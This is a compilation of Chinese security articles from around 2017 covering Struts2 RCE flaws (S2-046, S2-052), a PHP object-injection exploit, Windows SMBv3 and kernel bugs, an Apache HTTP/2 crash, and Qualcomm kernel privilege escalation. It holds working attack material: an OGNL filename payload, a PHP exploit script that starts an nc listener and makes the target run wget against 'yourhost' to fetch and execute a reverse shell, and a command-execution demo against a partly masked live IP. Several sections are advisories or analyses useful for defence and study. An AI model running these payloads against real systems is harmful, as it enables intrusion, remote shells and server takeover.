【漏洞预警】Apache Struts2再曝远程代码执行漏洞(S2-046 附PoC)



Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。

本月初,Strust2漏洞爆出一个RCE远程代码执行漏洞(S2-045)可致远程代码执行。而时隔两周,又出现一个相似的远程代码执行漏洞。

漏洞编号

CVE-2017-5638

漏洞简介

使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致远程命令执行。该漏洞与S2-045 (CVE-2017-5638)相似,但使用了不同的攻击向量。

触发漏洞需要满足的条件:

JakartaStreamMultipartRequest已开启。也就是说,Struts2需要通过Jakarta stream parser配置(非默认)。在Struts2配置文件中检查<constant name=”struts.multipart.parser” value=”jakarta-stream” />

上传的文件大小根据Content-Length头的声明要大于Struts2默认允许的2GB大小

文件名中包含OGNL payload

PoC

POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 10000000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z Connection: close ------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain Kaboom  ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

解决方案

如果你正在使用基于Jakarta的文件上传Multipart解析器,请将Apache Struts升级到2.3.32或2.5.10.1。

和先前的漏洞一样,也有相应的变通方案,即采用其他Mutipart解析器实施方案。Apache也提供2个插件作为解决方案(点击这里)——如果使用的是Apache Struts 2.3.8 – 2.5.5或者2.3.20 – 2.5.5版本,即可采用该解决方案。

另外也可以从堆中移除File Upload Interceptor,定义自有堆并设为默认(具体怎么做可以点击这里),该解决方案针对Struts 2.5.8 – 2.5.10有效。

*参考来源:Apache & HPE

Windows内核存在漏洞,影响Windows2000到Windows10所有版本



研究人员最近发现一枚Windows内核0day漏洞,影响Windows2000到Windows10所有版本。恶意软件可利用该漏洞躲过安全软件的检测,但该漏洞利用难度较大

攻击者利用该漏洞可以绕过病毒查杀系统,运行恶意软件。该漏洞影响安全解决方案中的PsSetLoadImageNotifyRoutine机制,该机制用来识别代码何时进入内核或用户空间。

漏洞利用

因为PsSetLoadImageNotifyRoutine会返回一个无效的模块名,因此攻击者可以利用将恶意应用伪装成合法的操作。

该漏洞影响过去17年发布的所有Windows版本。enSilo的研究人员在分析Windows内核代码时发现了该漏洞。并称该漏洞影响Windows 2000之后的所有Windows版本(包括Windows 10最新发布的版本)。

PsSetLoadImageNotifyRoutine是微软引入的一个通知机制,用来通知应用开着新注册的驱动。当PE镜像进入虚拟内存时,系统同样可以检测到,因此该反病毒软件也利用该机制来检测恶意软件的恶意行为。

微软可能不会发布补丁

研究人员Misgav 与Microsoft Security Response Center确认过,但微软并不认为这是一个安全问题,问题的关键是一些安全软件依赖该机制检测软件的恶意行为。这项研究目前仍在继续,后期或会发布更多研究成果。

关于PsSetLoadImageNotifyRoutine的运行机制和具体技术细节,请点我 

*参考来源:https://www.bleepingcomputer.com/news/security/bug-in-windows-kernel-could-prevent-security-software-from-identifying-malware/,转载请注明来自1024rd.COM

技术分享:PHP序列化/对象注入漏洞的利用

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。如果你想了解更多关于PHP序列化的内容,请访问这个链接。如果你想自行测试这个漏洞,你可以通过XVWAKevgir进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在这里。它会被动检测PHP和Java序列化的存在。

分析

我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);

然后再进行反序列化和eval:

eval($this->inject);

接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];

有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php     error_reporting(E_ALL);    class PHPObjectInjection{        public $inject;          function __construct(){          }          function __wakeup(){            if(isset($this->inject)){                 eval($this->inject);            }        }     } //?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}    if(isset($_REQUEST['r'])){            $var1=unserialize($_REQUEST['r']);                  if(is_array($var1)){             echo " ".$var1[0]." - ".$var1[1];        }    }else{        echo "parameter is missing";     } ? >

漏洞利用

为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

注意:你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php  /* PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access.  Shouts to @jstnkndy @yappare for theassist! NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured */ print"==============================================================================/r/n"; print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com/r/n"; print"==============================================================================/r/n"; print "[+] Generating serializedpayload...[OK]/r/n"; print "[+] Launching reverselistener...[OK]/r/n"; system('gnome-terminal -x sh -c /'nc -lvvp1234/''); class PHPObjectInjection {    //CHANGE URL/FILENAME TO MATCH YOUR SETUP   public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');"; }   $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER $url = $url . urlencode(serialize(newPHPObjectInjection)); print "[+] Sendingexploit...[OK]/r/n"; print "[+] Dropping down tointeractive shell...[OK]/r/n"; print"==============================================================================/r/n"; $response =file_get_contents("$url");   ? >

Demo

现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

视频展示如下:

*参考来源:CD,FB小编dawner编译,转载请注明来自1024rd黑客与极客(1024rd.COM)

【漏洞预警】Windows SMBv3远程攻击0day漏洞威胁通告

北京时间2月2日,国外技术网站Github曝光了Windows SMBv3存在远程攻击0day漏洞。根据已公开的漏洞验证代码(POC),未经身份验证的攻击者可以迫使受影响系统蓝屏崩溃。目前微软尚未对此漏洞发布公告,暂不明确何时将推出补丁。

经验证,此漏洞主要影响Windows Server 2012/2016、Win8/8.1以及Win10系统。攻击者可以模拟成一个SMB服务器,诱使客户端发起SMB请求来触发漏洞;攻击者也可以通过中间人方式“毒化”SMB回应,插入恶意的SMB回复实现拒绝服务。

图:研究人员在Win10上验证SMBv3远程拒绝服务漏洞攻击

关于Microsoft 服务器消息块(SMB)协议

Microsoft 服务器消息块 (SMB) 协议是 Microsoft Windows 中使用的一项 Microsoft 网络文件共享协议。

漏洞影响范围

此漏洞存在于SMB客户端(mrxsmb20.sys),已公开的POC可以导致系统BSOD,即死亡蓝屏。攻击者可以通过139、445等远程端口,或中间人攻击,甚至以包含UNC路径的邮件、文档或网页诱骗用户点击触发漏洞。

漏洞缓解措施

鉴于该漏洞攻击方法已经公开,且尚无补丁,360安全中心建议企业客户在防火墙处阻止TCP 端口 139 和 445,通过阻止入站和出站 SMB 流量,保护位于防火墙后面的系统防范此漏洞攻击造成的安全风险。

PoC参见https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect

*

Apache CVE-2017-7659漏洞重现及利用分析

近日,apache在其网站发布了最新的安全公告,其中涉及多个漏洞。针对CVE-2017-7659漏洞的介绍是这样的:

A maliciously constructedHTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.

可以看到这是apache WEB服务器(httpd)中的一个HTTP 2.0协议处理的漏洞。未然实验室安全研究人员针对此漏洞的技术细节和利用方法进行了深入的研究,欢迎安全爱好者们一起分享和讨论。

0×01补丁分析

在redhat的bugzilla上可以找到该漏洞:

https://bugzilla.redhat.com/show_bug.cgi?id=1463199

在github上有对该漏洞的修复提交:

https://github.com/apache/httpd/commit/672187c168b94b562d8065e08e2cad5b00cdd0e3

修改前后的代码差异比较如下:

可以看到,修复内容很简单,就是增加了对h2_request_rcreate函数返回值的判断。官方推荐升级到2.4.26修复漏洞。

0×02漏洞成因

https://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz下载到有漏洞的服务器代码后,通过补丁的修改进行漏洞成因的逆向分析。

首先查看漏洞函数h2_stream_set_request_rec,发现是调用h2_request_rcreat创建http 2.0请求的数据结构req,h2_request_rcreat执行失败时req为空,此时在日志函数ap_log_rerror中直接解引用req导致进程崩溃:

继续查看函数h2_request_rcreate,看到首先会把req置为0,然后判断4个变量r->method,scheme,r->hostname,path,任何一个为空则返回失败,而此时req还是0,就会导致进程崩溃:

那么这4个变量是哪一个为空导致的漏洞呢?scheme是先判断了是否为空再赋值的,首先排除;path是从r->parsed_uri中解析出来,解析函数apr_uri_unparse在其它地方有多次使用,直觉path也不会为空;r->method保存请求的方法字段,在HTTP请求中必须存在,因此也不应该为空;因此只有r->hostname,保存请求的主机名,也就是域名,可能为空。

我们知道,HTTP请求中,有2个地方可以表示主机名:

1) 请求的路径以完整URL方式表示,URL中包含主机名,例如GET http://www.example.com/ HTTP/1.1,这里主机名就是 www.example.com。服务器中是在ap_parse_uri函数中解析这种主机名的

2) 在Host请求头中包含主机名,例如:

GET / HTTP/1.1

Host: www.example.com

服务器中是在fix_hostname函数中解析这种主机名的

分别审计ap_parse_uri和fix_hostname函数,发现如果请求中没有Host头,那么r->hostname确实是空。但是服务器也考虑到了这种情况,在ap_read_request函数中做了判断:

这里的判断逻辑,如果满足下面2个条件之一

1) r->hostname为空,且请求的HTTP版本大于等于1.1

2) 没有Host头,且请求的HTTP版本等于1.1

就会立刻回复400状态码的错误页面,并不会触发后面的漏洞。在注释里也说明了,HTTP/1.1的RFC2616的14.23节中明确指明,HTTP/1.1请求必须包含Host头。

但是,开发者是不是忘了什么,HTTP还有1.0版本啊,且HTTP/1.0和HTTP/1.1的处理流程一样,虽然HTTP/1.0确实没有规定请求必须包含Host头。因此HTTP/1.0请求是可以没有Host头的,程序会一直按照流程执行,最终执行到h2_stream_set_request_rec函数,此时r->hostname为空,从而触发漏洞。

0×03漏洞验证及漏洞利用

综合上面的分析,该漏洞利用成功需要如下条件:

1) 服务器支持HTTP/2

2) 请求是HTTP/1.0版本

3) 请求中没有Host头

服务器配置

在server上要配置开启HTTP/2功能,使用apache默认的站点配置,在配置文件中首先加载mod_http2.so:

然后加入下面配置,重新启动apache httpd就可以了:

验证POC

验证时,我们首先起一个单一进程的apache httpd服务,方便验证进程崩溃后的效果:

正常访问,返回欢迎页面:

将构造的POC通过burpsuite发送:

果然超时没有响应,同时在服务器上发现httpd进程已经崩溃:

再次访问服务器时,页面已经无法访问了:

漏洞利用

在上一节,我们已经验证了在单一进程模式下,如何通过该漏洞导致apache服务器异常终止。但是通常情况下apache服务器在启动时,会同时启动多个工作进程:

而且当worker进程崩溃时,apache会自动启动新的worker进程。那么在真实的网络环境中,黑客会如何利用此漏洞对服务器进行攻击呢?

我们尝试编写了一个多线程(并发100个线程)的程序,同时发起多个畸形请求,以不断触发后台worker崩溃,并让apache服务器不断陷入重新分配worker的处理之中:

执行脚本时,发起的请求:

请求发起后,我们发现,并不需要特别的并发连接,便可以让服务器进入拒绝服务状态:

0×04 漏洞影响

在apache的漏洞公告中,只有2.4.25版本的httpd服务器受此漏洞影响。但是根据未然实验室的测试,从2.4.17开始的所有版本的httpd服务器,受到这段POC攻击时都会崩溃,而httpd也是从2.4.17版本开始支持HTTP 2.0协议的。因此可以说这个漏洞会影响httpd的所有支持HTTP 2.0的版本,未然实验室强烈建议用户更新到最新的2.4.26版本。

2.4.25之前的版本代码与2.4.25版本不尽相同,以2.4.17为例,在h2_request_rwrite函数中:

收到攻击POC后,r->hostname为空,因此req->authority也为空,而ap_strchr_c其实通过下面的宏进行定义的:

因此在上面的函数中,调用strchr的第一个参数为空,此时会导致进程崩溃。

0×05总结

apache在其HTTP Server 2.4.26版本修复了多个漏洞,业界普遍认为这些漏洞比较鸡肋,难以利用。未然实验室挑选其中个别漏洞进行了深入的分析和利用尝试,发现其中有些漏洞其实影响还是很大,尤其是对于一些高价值站点。

本文讨论的部分方法可能会造成目标网站拒绝服务,影响目标网站的业务正常运行,所以请勿对真实目标进行尝试,否则由此引起的一切后果未然实验室概不负责。

水平所限,文章内容难免有不足之处,欢迎大家指正。您可通过未然实验室公共邮箱weiran.labs@huawei.com或关注我们的微信公众号“WeiRanLabs”与我们联系,期待与各位专家交流。

*

Struts S2-052漏洞利用方式实验解析(附EXP)

*本文原创作者:hjchjcjh,本文属1024rd原创奖励计划,未经许可禁止转载。本文提供的实验方法和工具,仅供安全研究和学习用途,为防止恶意利用,本站已对部分内容做隐藏

Struts2的漏洞之王大名相信已经家户喻晓了。从S2-003  S2-005  S2-007  S2-008 S2-009  S2-012~S2-016  S2-037 S2-045  S2-048.等等,而现在2017年9月5日    又收到来自Struts2的“惊喜”——S2-052

实验环境

靶机:101.200.58.* (win2008x64+tomcat8.5+Struts 2.5.12

漏洞地址:

http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml

        

一、判断操作系统及端口开放:

本机使用nmap识别一下操作系统(重要):

   nmap -o 101.200.58.*  

根据下图目标开放的端口(135.139.445.3389)可以知道:目标使用的是windows系统。

二、环境要求及EXP下载:

因为EXP是用go语言编写的,如果你没有go环境的话,需要搭建一下。

Go1.9下载地址:

https://www.golangtc.com/static/go/1.9/go1.9.windows-386.zip (32位)

https://www.golangtc.com/static/go/1.9/go1.9.windows-amd64.zip(64位)

Exp 下载地址:https://github.com/luc10/struts-rce-cve-2017-9805

三、漏洞证明:

EXP使用方法:

   go run main.go -u URL -c “command”

因为这个EXP脚本没实现回显功能,其实我们可以把命令结果输出文件到网站目录下面,这样我们使用浏览器访问这个文件就可以看到回显内容了

执行(windows环境下):

   go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c  whoami >>./webapps/ROOT/cmd.txt"

执行后,我们访问地址:http://101.200.58.*:8080/cmd.txt

发现命令的执行成功的结果已经写入到网站根目录下的cmd.txt,并且权限是最高权限。

四、控制服务器:

*为防止恶意利用,此实验具体内容隐藏

漏洞影响

Struts 2.5 – Struts 2.5.12 版本,可能影响到 2.3.33 版本。

解决方案

1.建议尽快升级到 2.5.13版本。

2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:

<constant name=”struts.action.extension” value=”xhtml,,json” />

*本文原创作者:hjchjcjh,本文属1024rd原创奖励计划,未经许可禁止转载

【9月6日更新】漏洞预警 | 高危Struts REST插件远程代码执行漏洞(S2-052)

千疮百孔的 Struts2 应用又曝出存在新的高危远程代码执行漏洞。该漏洞由lgtm.com的安全研究员汇报,编号为 CVE-2017-9805 ,漏洞危害程度为高危(Critical)。当用户使用带有 XStream 程序的 Struts REST 插件来处理 XML payloads 时,可能会遭到远程代码执行攻击。

[9月6日已更新]

相似的漏洞已经在 Struts 中多次发现,今年早些时候攻击者还利用了 Windows 服务器中的 Apache Struts 漏洞散发 Cerber 勒索软件。

漏洞编号

CVE-2017-9805

S2-052



漏洞影响

Struts 2.5 – Struts 2.5.12 版本,据称还影响到 2.3.33 版本。

据悉,Fortune 100 中 65% 使用 Struts 框架搭建 Web 应用的企业均可能受到影响,如花旗集团、美国国家税务局、英国沃达丰电信、维珍航空等等,说明此次漏洞影响范围较大,相关企业应当给予重视。

漏洞概述

Struts2 REST 插件使用带有 XStream 程序的 XStream Handler 进行未经任何代码过滤的反序列化操作,这可能在反序列化XML payloads时导致远程代码执行。任意攻击者都可以构造恶意的XML内容提升权限。

漏洞是由 Semmle 使用其开源分析工具 lgtm 及 QL 语言编写的 Java 反序列威胁查询检测而出的,详情可参考[ lgtm blog ]。

向下兼容

由于Struts的某些默认限制,部分REST插件可能会停止工作。 此时请检查可能导致停止工作接口,这些接口分别是:

org.apache.struts2.rest.handler.AllowedClasses

org.apache.struts2.rest.handler.AllowedClassNames

org.apache.struts2.rest.handler.XStreamPermissionProvider

漏洞POC

漏洞发现者方面 Semmle 表示已经得到简单但有效的 exploit,但目前并不打算公开。

解决方案

目前尚无完美解决方案,建议如下:

1.建议尽快升级到 2.5.13版本。

2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:

<constant name=”struts.action.extension” value=”xhtml,,json” />

3.限制服务器端扩展类型,删除XML支持。

漏洞响应

2017 年 7 月 17 日:初次披露

2017 年 8 月 2 日: 为漏洞修复修改 API 

2017 年 8 月 14 日: Struts 修复前检查

2017 年 8 月 16 日: 漏洞正式得到编号 CVE-2017-9805

2017 年 9 月 5 日: Struts 版本 2.5.13 发布 

高通加解密引擎提权漏洞解析

目录

前言

背景知识

漏洞成因

CVE-2016-6738漏洞成因

CVE-2016-6738漏洞补丁

CVE-2016-3935漏洞成因

CVE-2016-3935漏洞补丁

漏洞利用

什么是提权

利用方法回顾

本文使用的方法

CVE-2016-6738漏洞利用

CVE-2016-3935漏洞利用

参考

前言 

CVE-2016-3935 和CVE-2016-6738 是 360冰刃实验室发现的高通加解密引擎( Qualcomm crypto engine)的两个提权漏洞,分别在2016 年10月11月的谷歌android 漏洞榜被公开致谢,同时高通也在 2016年 10月11月 的漏洞公告里进行了介绍和公开致谢。这两个漏洞报告给谷歌的时候都提交了 exploit 并且被采纳,这篇文章介绍一下这两个漏洞的成因和利用。

背景知识 

高通芯片提供了硬件加解密功能,并提供驱动给内核态和用户态程序提供高速加解密服务,我们在这里收获了多个漏洞,主要有3个驱动





qcedev driver  就是本文两个漏洞发生的地方,这个驱动通过 ioctl 接口为用户层提供加解密和哈希运算服务。



加解密服务的核心结构体是 struct qcedev_cipher_op_req, 其中, 待加 /解密数据存放在 vbuf 变量里,enckey 是秘钥, alg 是算法,这个结构将控制内核qce引擎的加解密行为。

哈希运算服务的核心结构体是 struct qcedev_sha_op_req, 待处理数据存放在 data 数组里, entries 是待处理数据的份数,data_len 是总长度。

漏洞成因

可以通过下面的方法获取本文的漏洞代码



CVE-2016-6738漏洞成因

现在,我们来看第一个漏洞 cve-2016-6738

介绍漏洞之前,先科普一下linux kernel 的两个小知识点

1) linuxkernel 的用户态空间和内核态空间是怎么划分的?

简单来说,在一个进程的地址空间里,比 thread_info->addr_limit 大的属于内核态地址,比它小的属于用户态地址

2) linuxkernel 用户态和内核态之间数据怎么传输?

不可以直接赋值或拷贝,需要使用规定的接口进行数据拷贝,主要是4个接口:

copy_from_user/copy_to_user/get_user/put_user

4个接口会对目标地址进行合法性校验,比如:

copy_to_user = access_ok +__copy_to_user // __copy_to_user 可以理解为是memcpy

下面看漏洞代码



当用户态通过 ioctl 函数进入 qcedev 驱动后,如果 command  QCEDEV_IOCTL_ENC_REQ(加密)或者 QCEDEV_IOCTL_DEC_REQ (解密),最后都会调用函数 qcedev_vbuf_ablk_cipher 进行处理。



qcedev_vbuf_ablk_cipher 函数里,首先对 creq->vbuf.src 数组里的地址进行了校验,接下去它需要校验 creq->vbuf.dst 数组里的地址

这时候我们发现,当变量 creq->in_place_op 的值不等于 1 时,它才会校验 creq->vbuf.dst 数组里的地址,否则目标地址creq->vbuf.dst[i].vaddr 将不会被校验

这里的 creq->in_place_op 是一个用户层可以控制的值,如果后续代码对这个值没有要求,那么这里就可以通过让 creq->in_place_op = 1  来绕过对 creq->vbuf.dst[i].vaddr 的校验,这是一个疑似漏洞



在函数 qcedev_vbuf_ablk_cipher_max_xfer 里,我们发现它没有再用到变量 creq->in_place_op 也没有对地址 creq->vbuf.dst[i].vaddr 做校验,我们还可以看到该函数最后是使用  __copy_to_user 而不是 copy_to_user 从变量 k_align_dst 拷贝数据到地址 creq->vbuf.dst[i].vaddr

由于 __copy_to_user 本质上只是 memcpy,  __copy_to_user 的目标地址是 creq->vbuf.dst[dst_i].vaddr, 这个地址可以被用户态控制, 这样漏洞就坐实了,我们得到了一个内核任意地址写漏洞。

接下去我们看一下能写什么值



再看一下漏洞触发的地方,源地址是 k_align_dst ,这是一个局部变量,下面看这个地址的内容能否控制。

在函数 qcedev_vbuf_ablk_cipher_max_xfer 的行 1160 可以看到,变量  k_align_dst 的值是从用户态地址拷贝过来的,可以被控制,但是,还没完



1195调用函数 submit_req ,这个函数的作用是提交一个 buffer 给高通加解密引擎进行加解密,buffer 的设置由函数 sg_set_buf  完成,通过行 1186 可以看到,变量 k_align_dst 就是被传进去的 buffer , 经过这个操作后, 变量 k_align_dst  的值会被改变, 即我们通过__copy_to_user 传递给 creq->vbuf.dst[dst_i].vaddr 的值是被加密或者解密过一次的值。

那么我们怎么控制最终写到任意地址的那个值呢?

思路很直接,我们将要写的值先用一个秘钥和算法加密一次,然后再用解密的模式触发漏洞,在漏洞触发过程中,会自动解密,如下:

1) 假设我们最终要写的数据是A, 我们先选一个加密算法和key 进行加密

2) 然后将B作为参数传入 qcedev_vbuf_ablk_cipher_max_xfer  函数触发漏洞,同时参数设置为解密操作,并且传入同样的解密算法和key



这样的话,经过 submit_req 操作后, line 1204 得到的 k_align_dst 就是我们需要的数据。

至此,我们得到了一个任意地址写任意值的漏洞

CVE-2016-6738漏洞补丁

这个 漏洞的修复  很直观,将 in_place_op 的判断去掉了,对 creq->vbuf.src creq->vbuf.dst 两个数组里的地址挨个进行 access_ok 校验

下面看第二个漏洞

CVE-2016-3935漏洞成因

command 为下面几个case 里都会调用  qcedev_check_sha_params 函数对用户态传入的数据进行合法性校验

·        QCEDEV_IOCTL_SHA_INIT_REQ

·        QCEDEV_IOCTL_SHA_UPDATE_REQ

·        QCEDEV_IOCTL_SHA_FINAL_REQ

·        QCEDEV_IOCTL_GET_SHA_REQ

qcedev_check_sha_params 对用户态传入的数据做多种校验,其中一项是对传入的数据数组挨个累加长度,并对总长度做整数溢出校验

问题在于, req->data[i].len  uint32_t 类型, 总长度 total 也是 uint32_t 类型, uint32_t 的上限是 UINT_MAX, 而这里使用了 ULONG_MAX 来做校验

注意到:

32 bit 系统,  UINT_MAX= ULONG_MAX

64 bit 系统,  UINT_MAX = ULONG_MAX

所以这里的整数溢出校验 64bit系统是无效的 ,即在 64bit 系统,req->data 数组项的总长度可以整数溢出,这里还无法确定这个整数溢出能造成什么后果。

下面看看有何影响,我们选取 case QCEDEV_IOCTL_SHA_UPDATE_REQ

qcedev_areq.sha_op_req.alg 的值也是应用层控制的,当等于 QCEDEV_ALG_AES_CMAC 时,进入函数 qcedev_hash_cmac

在函数 qcedev_hash_cmac 里, line 900 申请的堆内存  k_buf_src 的长度是 qcedev_areq->sha_op_req.data_len ,即请求数组里所有项的长度之和

然后在 line 911 ~ 920 的循环里,会将请求数组 qcedev_areq->sha_op_req.data[]  里的元素挨个拷贝到堆 k_buf_src 
里,由于前面存在的整数溢出漏洞,这里会转变成为一个堆溢出漏洞,至此漏洞坐实。

CVE-2016-3935漏洞补丁



这个 漏洞补丁  也很直观,就是在做整数溢出时,将 ULONG_MAX 改成了 U32_MAX, 这种因为系统由 32位升级到64位导致的代码漏洞,是 2016 年的一类常见漏洞

下面进入漏洞利用分析

漏洞利用

androidkernel 漏洞利用基础

在介绍本文两个漏洞的利用之前,先回顾一下 android kernel 漏洞利用的基础知识

什么是提权

linuxkernel 里,进程由 struct task_struct 表示,进程的权限由该结构体的两个成员  real_cred  cred 表示



所谓提权,就是修改进程的 real_cred/cred 这两个结构体的各种 id  值,随着缓解措施的不断演进,完整的提权过程还需要修改其他一些内核变量的值,但是最基础的提权还是修改本进程的 cred, 这个任务又可以分解为多个问题:

怎么找到目标 cred ?

cred 所在内存页面是否可写?

如何利用漏洞往 cred 所在地址写值?

利用方法回顾 

 

 

[来源]

上图是最近若干年围绕 android kernel 漏洞利用和缓解的简单回顾,

09 ~ 10 年的时候,由于没有对 mmap 的地址范围做任何限制,应用层可以映射0 页面,null pointer deref 漏洞在当时也是可以做利用的,后面针对这种漏洞推出了  mmap_min_addr  限制,目前 null pointer deref 漏洞一般只能造成 dos.

11 ~ 13 年的时候,常用的提权套路是从  /proc/kallsyms  搜索符号  commit_creds  prepare_kernel_cred  的地址,然后在用户态通过这两个符号构造一个提权函数 (如下)

可以看到,这个阶段的用户态 shellcode 非常简单, 利用漏洞改写内核某个函数指针 (最常见的就是 ptmx 驱动的 fsync  函数)将其实现替换为用户态的函数, 最后在用户态调用被改写的函数 , 这样的话从内核直接执行用户态的提权函数完成提权

这种方法在开源root套件  android_run_root_shell 得到了充分提现

后来,内核推出了kptr_restrict/dmesg_restrict 措施使得默认配置下无法从 /proc/kallsyms  等接口搜索内核符号的地址

但是这种缓解措施很容易绕过android_run_root_shell  里提供了两种方法:

1.      通过一些内存 pattern 直接在内存空间里搜索符号地址,从而得到  commit_creds/prepare_kernel_cred 的值;
libkallsyms:get_kallsyms_in_memory_addresses

2.      放弃使用 commit_creds/prepare_kernel_cred  这两个内核函数,从内核里直接定位到  task_struct cred   结构并改写
obtain_root_privilege_by_modify_task_cred

·        2013 推出 text RO PXN 等措施,通过漏洞改写内核代码段或者直接跳转到用户态执行用户态函数的提权方式失效了android_run_root_shell  这个项目里的方法大部分已经失效 , PXN 时代,主要的提权思路是使用 rop

具体的 rop 技巧有几种,

1.      下面两篇文章讲了基本的 linux kernel ROP  技巧

Linux Kernel ROP – Ropping your way to # (Part 1)/)

Linux Kernel ROP – Ropping your way to # (Part 2)/)



可以看到这两篇文章的方法是搜索一些 rop 指令 ,然后用它们串联  commit_creds/prepare_kernel_cred,是对上一阶段思路的自然延伸。

1.      使用 rop 改写  addr_limit  的值,破除本进程的系统调用 access_ok 校验,然后通过一些函数如   ptrace_write_value_at_address 直接读写内核来提权 , selinux_enforcing 变量写0 关闭 selinux;

2.      大名鼎鼎的  Ret2dir bypassPXN;

3.      还有就是本文使用的思路,用漏洞重定向内核驱动的 xxx_operations  结构体指针到应用层,再用 rop 地址填充应用层的伪 xxx_operations  里的函数实现;

4.      还有一些 2017 新出来的绕过缓解措施的技巧, 参考

进入2017年,更多的漏洞缓解措施正在被开发和引进,谷歌的 nick正在主导开发的项目  Kernel_Self_Protection_Project   对内核漏洞提权方法进行了分类整理,如下

Kernel location

Text overwrite

Function pointer overwrite

Userspace execution

Userspace data usage

Reused code chunks

针对以上提权方法,Kernel_Self_Protection_Project  开发了对应的一系列缓解措施,目前这些措施正在逐步推入linux kernel 主线,下面是其中一部分缓解方案,可以看到,我们回顾的所有利用方法都已经被考虑在内,不久的将来,这些方法可能都会失效

·        Split thread_info off of kernelstack (Done: x86, arm64, s390. Needed on arm, powerpc and others?) * Movekernel stack to vmap area (Done: x86, s390. Needed on arm, arm64, powerpc andothers?)

·        Implement kernel relocation andKASLR for ARM

·        Write a plugin to clear structpadding

·        Write a plugin to do formatstring warnings correctly (gcc’s -Wformat-security is bad about const strings)

·        Make CONFIG_STRICT_KERNEL_RWX andCONFIG_STRICT_MODULE_RWX mandatory (done for arm64 and x86, other archs stillneed it)

·        Convert remaining BPF JITs toeBPF JIT (with blinding) (In progress: arm)

·        Write lib/test_bpf.c tests foreBPF constant blinding

·        Further restriction ofperf_event_open (e.g. perf_event_paranoid=3)

·        Extend HARDENED_USERCOPY to useslab whitelisting (in progress)

·        Extend HARDENED_USERCOPY to splituser-facing malloc()s and in-kernel malloc()svmalloc stack guard pages (inprogress)

·        protect ARM vector table asfixed-location kernel target

·        disable kuser helpers on arm

·        rename CONFIG_DEBUG_LIST betterand default=y

·        add WARN path for page-spanningusercopy checks (instead of the separate CONFIG)

·        create UNEXPECTED(), like BUG()but without the lock-busting, etc

·        create defconfig “make” targetfor by-defaul
t hardened Kconfigs (using guidelines below)

·        provide mechanism to check forro_after_init memory areas, and reject structures not marked ro_after_init invmbus_register()

·        expand use of __ro_after_init,especially in arch/arm64

·        Add stack-frame walking tousercopy implementations (Done: x86. In progress: arm64. Needed on arm,others?)

·        restrict autoloading of kernelmodules (like GRKERNSEC_MODHARDEN) (In progress: Timgad LSM)

有兴趣的同学可以进入该项目看看代码,提前了解一下缓解措施,

比如 KASLR for ARM, 将大部分内核对象的地址做了随机化处理,这是以后 androidkernel exploit 必须面对的;

另外比如 __ro_after_init ,内核启动完成初始化之后大部分  fops 全局变量都变成 readonly 的,这造成了本文这种利用方法失效, 所幸的是,目前 android kernel 还是可以用的。

本文使用的利用方法

对照 Kernel_Self_Protection_Project  的利用分类,本文的利用思路属于  Userspace data usage

Sometimesan attacker won’t be able to control the instruction pointer directly, but theywill be able to redirect the dereference a structure or other pointer. In thesecases, it is easiest to aim at malicious structures that have been built inuserspace to perform the exploitation.

具体来说,我们在应用层构造一个伪 file_operations 结构体(其他如  tty_operations 也可以),然后通过漏洞改写内核某一个驱动的 fops  指针,将其改指向我们在应用层伪造的结构体,之后,我们搜索特定的 rop 并随时替换这个伪 file_operations  结构体里的函数实现,就可以做到在内核多次执行任意代码(取决于 rop) ,这种方法的好处包括:

1.      内核有很多驱动,所以 fops 非常多,地址上也比较分散,对一些溢出类漏洞来说,选择比较多

2.      内核的 fops 一般都存放在 writable data 区,至少目前android 主流 kernel 依然如此

3.      将内核的 fops 指向用户空间后,用户空间可以随意改写其内部函数的实现

4.      只需要一次内核写

下面结合漏洞说明怎么利用

CVE-2016-6738漏洞利用

CVE-2016-6738是一个任意地址写任意值的漏洞,利用代码已经提交在  EXP-CVE-2016-6738

我们选择重定向 /dev/ptmx 设备的 file_operations, 先在用户态构造一个伪结构,如下

根据前面的分析,伪结构的值需要先做一次加密,再使用

下面是核心的函数

